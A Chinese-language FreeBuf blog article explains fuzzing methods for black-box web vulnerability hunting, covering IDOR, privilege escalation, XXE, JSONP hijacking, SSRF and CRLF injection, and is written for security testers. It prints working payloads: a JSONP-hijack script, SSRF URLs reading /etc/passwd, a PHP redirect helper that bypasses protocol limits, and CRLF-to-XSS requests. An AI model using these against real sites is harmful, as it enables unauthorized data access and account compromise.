談高效漏洞挖掘之Fuzzing的藝術

2019-12-30 102022人圍觀 ,發現 19 個不明物體 WEB安全漏洞

之前寫過一個比較入門的漏洞挖掘淺談,而之后的漏洞挖掘和工作中的產品測試過程中除了白盒代碼審計之外比較偏向黑盒測試/漏洞挖掘,那么我覺得漏洞挖掘/黑盒測試過程中的遇到過的一些fuzz技術思想有必要借用我遇到過的實戰中的例子來歸納總結下,通過實例對fuzz的思想進行展開。

一、登陸

1)驗證碼

圖片驗證碼1 ->拒絕服務攻擊

-》Fuzz存在潛藏參數,可控驗證碼生成大小: 如存在驗證碼生成包中存在height、width、length等參數且能夠被我們控制那么就可能進行拒絕服務攻擊code

code

圖片驗證碼2->刪除驗證碼參數bypass驗證

手機驗證碼1->爆破

手機驗證碼2->短信轟炸

2)用戶名枚舉

若測試中回顯信息出現用戶名不存在、或者回顯code與正確的code不同時則可能存在用戶名枚舉

1.png

3)弱口令

二、邏輯漏洞

2.1敏感信息泄露(接口參數fuzz+駝峰命名法)

原本是一個如下一個根據個人信息顯示訂單的請求數據包

POST /sale/appOrder/orderInfo HTTP/1.1
Host: xxx.com
Origin: http://xxx.com
Cookie:****
...

orderId=1234

返回的一個正常的個人訂單信息。然而我將post的內容刪除后,請求接口上繼續Fuzz參數并配合駝峰命名規則

POST /sale/appOrder/+paramFuzzing HTTP/1.1
Host: xxx.com
Origin: http://xxx.com
Cookie:****
...

最終得到大量訂單信息的泄露

2

2.2邏輯漏洞-越權1(參數值替換)

將相關的信息字段內容替換為測試賬號B的信息(例如:login=A-> login=B

、userid=A->userid=B)

4

2.3邏輯漏洞-越權2(參數值枚舉)

對于以上情況在不知道賬戶2的id或不想另注冊測試賬戶時用到另一種暴力而簡便方法,可能大家都知道intruder.

5

6

2.4邏輯漏洞-IDOR(IDOR-不安全的直接對象引用)

IDOR或許和越權有點像,在測試越權修改user_id時也許經常會看到401未認證或用戶未授權,大多少人會和我之前的我一樣結束這樣一個越權測試,認為目標系統不存在越權漏洞。但在正是了解和接觸IDOR之后測試面才會不斷發散擴展。IDOR漏洞不僅限于參數數值更改,它還包括參數數值刪除,以及其他與個人信息相關的字段替換以及HTTP污染等。

》舉例

假如請求中存在以下參數

{"userid":"",""meail":"","content":"","anmousid":"",user_hash":"",}

1)替換請求中的userid

經常會出現

A

HTTP/1.1 404
....
error

B

HTTP/1.1 403
....
error

C

HTTP/1.1 401
...
未認證

2)刪除請求中對應的token/user_hash

保留userid,將與其對應的token/user_hash參數值刪除 ,原例A->B

3)刪除userid及對應user_hash

返回結果如B

但是最后當將userid、user_hash、anmousid都刪除只保留email和content時卻認證成功返回了數據。

對于C中情況測試還存在一個IDOR的Bypass,HTTP參數污染。

8

如圖一個資產可能存在多種服務或程序,他們的請求或處理或參數解析方面可能存在不同,即平常所說的解析差異。那么我們可以發送一個數值參數來造成WEB應用后端的解析混亂,當我們發送多個數值參數又會如何?那么我們可以發送具備不同數值的同名參數去混亂Web后端解析機制,通過這種攻擊來(HTTP參數污染-HPP)實現我們的IDOR Bypass。由于測試中未遇到過此bypass漏洞,這里借用大佬的一張圖作為例子

7

具體可參考http://www.wlgjgoct.cn/vuls/216774.html

2.5回顯偽造-本地驗證

當回顯error時替換換為正確的回顯內容,繞過驗證

1)獲取驗證碼后任意輸入一個驗證碼。img

2)抓包放行,得到的返回包如下img

3)抓包改返回包修改為正確的返回包覆蓋錯誤的返回包,如下

{“code”:1,”data”:”目標用戶手機號”,”msg”:”綁定成功?”}img

4)放行,修改成功img

漏洞本質:服務端沒有對用戶的上一步操作進行驗證

2.6邏輯漏洞->【參數fuzz】->未授權

得到一個某后臺管理系統的URL:https://xxx/?m=index,該URL訪問解析過來的是主?信息。

嘗試對請求參數m的值進行Fuzz,利用參數字典進行Fuzz,方法和前面的敏感信息泄露(接口參數fuzz方法)類似。

2.7邏輯漏洞-越權->js信息接口fuzz

當遇到一個只有登陸框的網站時,我們能得到的信息少之又少時,查看源碼fuzz網站的js信息能得到意想不到的收獲,如隱藏的域名和接口。

1)敏感接口

9

一般可能出現越權或未授權漏洞

2)隱藏域名

我在挖掘末src某網站xxx.cn時,一番努力之后發現并無所獲,而這時通過查看源碼,意外的發現一個特殊的域名bbs.abc.com ,我在其后面加上admin之后意外的跳轉到了https://bbs.abc.com/admin/#/home/dashboard 后臺,該bbs.abc.com為xxx.cn開發人員的一個測試網站存在著大量后臺接口越權。

10

11

三、XXE-Fuzzing

對于xxe的測試,是當一個數據包的中出現

<?xml version='1.0' encoding='utf-8' ?>
<!DOCTYPE ...
...
?>

即對XML文件進行解析的場景中,都有可能出現XXE注入,如提交時,還有在上傳中文件類型指定了excel、or word那么都可以進行Fuzz測試。關于XXE詳細的利用可參考我之前的PHP與J**A之XXE漏洞詳解與審計記錄了白盒審計及黑盒測試利用詳細的過程。

四、CSRF-Fuzzing

讀取型CSRF

1)jsonp 劫持

1573991576207

POC

<script>function jsonp(data){alert(JSON.stringify(data));}</script>
<script src="http://vul.com/user/center?callback=jsonp"></script>

2)cors ->crossdomain.xml->flash

若測試某資產時發現存在crossdomain.xml,并且內容如下:

<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>

則存在swf的跨域的讀取CSRF

img

詳細利用可參考我之前的利用方式的記錄里面包含了poc構造工具。另外關于CSRF的利用及其防護也可參考之前的一篇文章

3)CORS跨域資源請求

在請求的時候加上了請求頭 Origin: http://xxx.com,而對應的響應包中出現了`Access-Control-Allow-Origin: http://vul.com這個響應頭其實就是訪問控制允許,在這里是允許http://vul.cm的請求的,所以目標http://vul.com是可以被跨域讀取該網址的內容

五、SSRF-or-URL跳轉漏洞ext-Fuzzing

資產測試時可能存在這樣的URL:

http://www.xxx.com/vul.php?url=http://www.xxc.com/xxx.jpg

https://xxx.com/notice/?info=xxx&gourl=


https://xxx.com/api/?uri=xxx&redict=

對于如上這樣的GET型的鏈接Fuzz的點有什么呢?SSRF、url跳轉,結束了嗎?ext擴展發散一下其實還有,只是平常利用的比較少或比較少想到在一次機緣巧合剛好想到也剛好遇上了,繼續fuzzing下,其實還可以考慮CRLF,url_redict+CRLF、CRLF+XSS。

對于SSRF

測試

http://www.xxx.com/vul.php?url=http://127.0.0.1:port

根據回顯內容和狀態即可確定漏洞是否存在。

協議利用

gopher

http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test

dict

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:port/info

file

http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

http

http://4o4notfound.org/ssrf.php?url=http://xxx.com/302.php

協議限制為http下向服務端提交302.php

<?php
header("Location: file:///etc/passwd");
?>

輔助腳本302.php—-bypass http協議限制

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?>

測試完SSRF后發現沒有該漏洞~

1574431569568

1574431518002

轉入URL跳轉測試

1574431730099

1574431772440

結束了么?沒有,那么是否還存在其他利用方式呢?

往下測試之前,我們先來看看URL跳轉以及CRLF的原理.

插敘

CRLF 指的是回車符(CR,ASCII 13,\r,%0d) 和換行符(LF,ASCII 10,\n,%0a)。

正常的一個請求

GET api/xxxx/?url=http://www.xxc.com
Host:qclover.cn
User-Agent:xxxxx
...
Referer:http:qclover.cn
Cookie:xxxxxxxxxx
...

抓包,在請求行的url參數中加入特殊構造的CRLF字符 如下

GET api/xxxx/?url=http://www.xxc.com%0d%0aSet-Cookie:vuale=crlf HTTP/1.1
Host:qclover.cn
User-Agent:xxxxx
...
Referer:http:qclover.cn
Cookie:xxxxxxxxxx
...

輸出

HTTP/1.1 302 Found
...
Location:http://www.xxc.com
Set-Cookie:vuale=crlf
Content-Length:0
Content-Type:text/html

這樣一個CRLF對應的服務端的代碼可能是這樣子的

if(isset($_GET["url"])&&($_cookie["security_level"]!="1"&&$_COOKIE["security_level"]!="2"))
{
    header("Location:".GET["url"]);
    exit;
}

代碼的意思是當條件滿足時,將請求包中的url參數值拼接到Location字符串中,并設置成響應頭發送給客戶端。

假設存在CRLF漏洞,響應包此時應該 會出現如下情況

HTTP/1.1 302 Found
...
Location:http://www.xxc.com%0d%0aSet-Cookie:vuale=crlf
Content-Length:0
Content-Type:text/html

最終構造的Set-Cookie字符 會出現在HTTP頭部的Cookie中且vuale=crlf會被設置成Cookie攜帶在Cookie中。 最終的數據包會如下:

GET api/xxxx/?url=http://www.xxc.com
Host:qclover.cn
User-Agent:xxxxx
...
Referer:http:qclover.cn
Cookie:xxxxxxxxxx;vuale=crlf
...

了解CRLF的服務端的代碼原理后,可以知道本質還是在代碼中的Location,這與url(302)跳轉類似,因此在存在url跳轉的情況下還可以嘗試Fuzz,轉為url跳轉->CRLF->CRLF+XSS的利用

CRLF+XSS,payload可以更改為

GET /xxxx/redirect=http://www.xxc.com%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
...

會變成->

GET /xxxx/redirect(CRLF)
Host:qclover.cn
content-type:text/html(CRLF)
location:<svg/onload=alert(innerHTML)>

若同時存在url跳轉,payload可以變換一下,CRLF+XSS

GET api/xxxx/?url=http://www.xxc.com%0d%0aSet-Cookie:%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE HTTP/1.1
Host:qclover.cn
User-Agent:xxxxx
...
Referer:http:qclover.cn
Cookie:xxxxxxxxxx
...

那么<svg/onload=alert1>將會出現在cookie中。

六、黑盒測試中的漏洞利用鏈FUZZ

最后簡單說下黑盒測試中的漏洞利用鏈的Fuzz思路

在白盒代碼審計中存在者多種的漏洞利用POP鏈如TP5-6的POP鏈曾被大多數人所發掘分析。而在黑盒測試審計中其實也存在可以利用漏洞鏈的思想。如對于功能及其組件的測試、就單純的代碼審計的情況下比較難發現其漏洞,一個壓縮包上傳代碼中嚴格限制了其文件類型但會回顯其上傳的路徑、而 在另外一處備份恢復時首先會默認對其文件進行解壓,若抓包中解壓的路徑可控,將兩者組合利用就可進行木馬上傳和RCE。在fuzz中找各功能組件之間的關聯性。

在漏洞挖掘中,Fuzz中每一個漏洞都可能存在多樣的利用方式,需要我們對每一個參數和漏洞點保持著善于發現和挖掘的思想或許會存在意外的收獲,不斷的漸漸前行~

參考資料

https://gh0st.cn/archives/2019-11-11/1

*本文作者:Qclover,轉載請注明來自FreeBuf.COM

相關推薦

這些評論亮了

  • @ 武林笑話 是是是,我是小彩筆,您NB,您倒是去分享?不分享只噴算什么JB FW東西?
    )9( 亮了
  • uc震驚了 回復
    你和key什么關系? 怎么文章中有的截圖都是他的..
    )8( 亮了
發表評論

已有 19 條評論

取消
Loading...
Qclover

這家伙太懶,還未填寫個人描述!

1 文章數 2 評論數 3 關注者

特別推薦

活動預告

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 微信上那些说赚钱是真的吗